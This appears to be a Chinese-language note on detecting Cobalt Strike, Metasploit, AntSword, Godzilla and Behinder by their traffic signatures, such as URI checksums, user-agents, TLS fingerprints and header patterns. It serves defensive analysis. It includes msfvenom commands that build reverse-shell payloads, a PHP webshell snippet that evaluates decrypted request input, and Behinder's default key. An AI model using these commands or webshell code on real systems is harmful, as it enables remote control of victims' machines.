(一)Cobalt Strike流量特征分析
1.HTTP特征
源碼特征:
在流量中,通過http協議的url路徑,在checksum8解密算法計算后,32位的后門得到的結果是92,64位的后門得到的結果是93,該特征符合未魔改Cobalt Strike的流量特征。
public class EchoTest {public static long checksum8(String text) {if (text.length() < 4) {return 0L;}text = text.replace("/", "");long sum = 0L;for (int x = 0; x < text.length(); x++) {sum += text.charAt(x);}return sum % 256L;}public static void main(String[] args) throws Exception {System.out.println(checksum8("flJA"));}
}
流量特征:
固定的user-agent頭:老版本的cobalt strike中user-agent頭是固定不變的,可以作為一個特征,新版本的cobalt strike中的user-agent頭是會每次都變化的。
例如,在cobalt strike4.8中兩個不同的cobalt strike數據包的user-agent頭是不同的。
?
特殊的請求特征:
在使用cobalt strike下達指令時,會出現post請求/sumbit.php?id=xxx的特征,該特征可以判斷cobalt strike。
魔改后的cobalt strike遺留特征:
即使cobalt strike進行了證書文件的魔改,可以消除數據包的部分特征,但仍有部分特征沒有修改,例如該圖中是修改了cobalt strike證書文件的數據包情況,但是遺留了GET /cx和POST /q.cgi這兩個特征。
工具:https://blog.didierstevens.com/didier-stevens-suite/
?2.HTTPS特征
證書特征:
如果沒有修改cobalt strike的證書或者自己手動加載自定義證書,默認的cobalt strike證書可以直接判斷出該工具是cobalt strike。
JA3特征:
在數據包的client hello中,數據包有JA3和操作系統有關,每個操作系統都有固定的值,例如我使用的操作系統為windows11
JA3S特征:
在數據包的server hello中,數據包有JA3s和操作系統有關,每個操作系統都有固定的值,例如我使用的操作系統為windows11
(二)MSF的流量特征分析
1.TCP特征
?msfvenom -p windows/shell/reverse_tcp lhost=116.62.152.86 lport=1234 -f exe -o test1.exe
利用明文傳輸(查看流量包,追蹤流選擇tcp),都含有MZ頭和DOS異常
2.HTTP特征
msfvenom -p windows/meterpreter/reverse_http lhost=10.236.32.154 lport=4445 -f exe -o test.exe
有MZ頭和DOS異常(因為都是meterpreter類型)、但是多了請求包和返回包
32位:
請求包:
UA:Mozilla/5.0,
Connection: Keep-Alive
Cache-Control: no-cache
返回包
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Connection: Keep-Alive
Server: Apache
Content-Length: 176732
64位:
請求包:
GET /Host:Cache-Control:no-cache
返回包:
HITP/1.1 200 OK
Content-Type:application/octet-stream
Connection:close
Server: Apache
Content-Length:201820
3.HTTPS特征
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.236.0.30 lport=4445 -f exe -o test.exe
https的特征是流量中會含有Client Hello和Server Holle這四個包
Client包里面有JA值,Server包里面有JAS值
(三)蟻劍的流量特征
1.User-Agent
請求中的User-Agent值是:antSword/*;也有可能是:Mozilla/5.0 (Windows NT ) AppleWebKit/ (KHTML, like Gecko) Chrome/* Safari/
2.關鍵字
請求中可以檢測到的關鍵字:“eval””eVAL”
請求體存在@ini_set(“display_errors”, “0”);@set_time_limit(0);(開頭可能是菜刀或者是蟻劍)
(四)哥斯拉的流量特征
1.強特征Cookie:
cookie字段,最后一個Cookie的值出現;(尾值出現分號)
2.請求頭Accept:
請求中的Accept頭是:
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
3.payload特征
jsp會出現xc,pass字符和Java反射,base64加解碼等特征,php,asp則為普通的一句話木馬。
4.Connection響應
哥斯拉會響應三次,還有一個地方需要注意的就是webshell連接,所以一般會設置長時間連接,所以connection這里會是keep-alive
5.響應頭中的Cache-Control頭
響應頭中的Cache-Control頭是:Cache-Control: no-store, no-cache, must-revalidate
6.響應體的數據
響應體的數據有一定特征,哥斯拉會把一個32位的md5字符串按照一半拆分,分別放在base64編碼的數據的前后兩部分。整個響應包的結構體征為:md5前十六位+base64+md5后十六位。
(五)冰蝎的流量特征
1.User-agent字段
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ?Mozilla/5.0 (Windows; U; Windows NT 6.1; en\-US) AppleWebKit/533+ (KHTML, like Gecko) Element Browser/5.0 ?Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) ?Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.37 Edge/16.16299 ?Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 ?Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 ?Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) ?Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko ?Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 ?Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0 ?Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 ?Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko ?Mozilla/7.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)
2.Content-type:
Content-type:Application/x-www-form-urlencoded
3.Connection字段:
Connection: Keep-Alive(冰蝎默認使用的長連接是為了避免頻繁的握手造成的資源丟失)
4.Accept字段
請求頭中存在Accept: application/json, text/javascript, /; q=0.01
也有可能Accept: text/html,image/gif, image/jpeg, *; q=.2, /; q=.2
Content-Type: application/octet-stream ******q=0.8
5.端口
冰蝎與webshell建立連接的同時,javaw也與目的主機建立tcp連接,每次連接使用本地端口在49700左右,每連接一次,每建立一次新的連接,端口就依次增加。
6.PHP webshell 中存在固定代碼
$post\=Decrypt(file\_get\_contents(“php://input”)); ?
eval($post);
7.請求頭與響應包
有固定的請求頭和響應頭,請求字節頭:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,響應字節頭:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
默認時,冰蝎 webshell都有“e45e329feb5d925b” 一串密鑰,與冰蝎3.0相同
?
?